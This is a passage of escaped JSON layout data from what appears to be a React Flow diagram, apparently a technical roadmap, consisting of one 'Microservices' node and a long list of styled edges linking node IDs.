\"x\": 17.13182479290697,\n        \"y\": 1194.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FAXKxl3fWUFShYmoCsInZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1194.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tbmunGk2lG74hVWv_W8lN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tbmunGk2lG74hVWv_W8lNx2-4zicbh7Wg2lmKSRhb6E-Lw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"EGG99VA-PEdWdVxNDLtG_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4zicbh7Wg2lmKSRhb6E-Ly2-EGG99VA-PEdWdVxNDLtG_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eG38hT0rotYJ3G-t9df9R\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4zicbh7Wg2lmKSRhb6E-Ly2-eG38hT0rotYJ3G-t9df9Rz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2sR4KULvAUUoOtopvsEBs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4zicbh7Wg2lmKSRhb6E-Ly2-2sR4KULvAUUoOtopvsEBsz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2sR4KULvAUUoOtopvsEBs\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Lqe47l4j-C4OwkbkwPYry\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2sR4KULvAUUoOtopvsEBsx2-Lqe47l4j-C4OwkbkwPYryw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rUxbG2S2nJuA1YVY6sjiX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-4zicbh7Wg2lmKSRhb6E-Lx2-hjlkxYZS7Zf9En3IUS-Wmw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lBtlDFPEQvQ_xtLtehU0S\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"77KvWCA1oHSGgDKBTwjv7\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmw2-77KvWCA1oHSGgDKBTwjv7x1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lBtlDFPEQvQ_xtLtehU0S\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5D-kbQ520k1D3fCtD01T7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmx2-5D-kbQ520k1D3fCtD01T7w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lBtlDFPEQvQ_xtLtehU0S\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hFx3mLqh5omNxqI9lfaAQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-lBtlDFPEQvQ_xtLtehU0Sy2-hjlkxYZS7Zf9En3IUS-Wmz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uoDtVFThaV6OMK2wXGfP5\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"D1IXOBUrrXf5bXhVu9cmI\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmw2-D1IXOBUrrXf5bXhVu9cmIx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hFx3mLqh5omNxqI9lfaAQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uoDtVFThaV6OMK2wXGfP5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hFx3mLqh5omNxqI9lfaAQy2-hjlkxYZS7Zf9En3IUS-Wmz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uoDtVFThaV6OMK2wXGfP5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_U0VoTkqM1d6NR13p5azS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uoDtVFThaV6OMK2wXGfP5x2-hjlkxYZS7Zf9En3IUS-Wmw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_U0VoTkqM1d6NR13p5azS\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jj5otph6mEYiR-oU5WVtT\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmx2-jj5otph6mEYiR-oU5WVtTw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_U0VoTkqM1d6NR13p5azS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_U0VoTkqM1d6NR13p5azSz2-hjlkxYZS7Zf9En3IUS-Wmy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZEzYb-i55hBe9kK3bla94\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-PyTuVs08_z4EhLwhTYzFuy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CYnUg_okOcRrD7fSllxLW\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-CYnUg_okOcRrD7fSllxLWy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"a6joS9WXg-rbw29_KfBd9\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-a6joS9WXg-rbw29_KfBd9y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3bpd0iZTd3G-H8A7yrExY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-3bpd0iZTd3G-H8A7yrExYy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SuMhTyaBS9vwASxAt39DH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OaLmlfkZid7hKqJ9G8oNV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SuMhTyaBS9vwASxAt39DHx2-hjlkxYZS7Zf9En3IUS-Wmw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7tBAD0ox9hTK4D483GTRo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-7tBAD0ox9hTK4D483GTRoy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OpL2EqvHbUmFgnpuhtZPr\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-OpL2EqvHbUmFgnpuhtZPry1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KiwFXB6yd0go30zAFMTJt\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-KiwFXB6yd0go30zAFMTJty1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OaLmlfkZid7hKqJ9G8oNV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-OaLmlfkZid7hKqJ9G8oNVz2-hjlkxYZS7Zf9En3IUS-Wmw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-IzFTn5-tQuF_Z0cG_w6CWx2-hjlkxYZS7Zf9En3IUS-Wmw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"57liQPaPyVpE-mdLnsbi0\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-57liQPaPyVpE-mdLnsbi0y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"n5AcBt_u8qtTe3PP9svPZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-n5AcBt_u8qtTe3PP9svPZy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JUFE4OQhnXOt1J_MG-Sjf\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-JUFE4OQhnXOt1J_MG-Sjfy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"92GG4IRZ3FijumC94aL-T\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmz2-92GG4IRZ3FijumC94aL-Ty1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Ocn7-ctpnl71ZCZ_uV-uD\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YCJYRA3b-YSm8vKmGUFk5x2-Ocn7-ctpnl71ZCZ_uV-uDw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ocn7-ctpnl71ZCZ_uV-uD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"priDGksAvJ05YzakkTFtM\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Ocn7-ctpnl71ZCZ_uV-uDx2-priDGksAvJ05YzakkTFtMw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ocn7-ctpnl71ZCZ_uV-uD\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-Ocn7-ctpnl71ZCZ_uV-uDy2-hjlkxYZS7Zf9En3IUS-Wmz1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 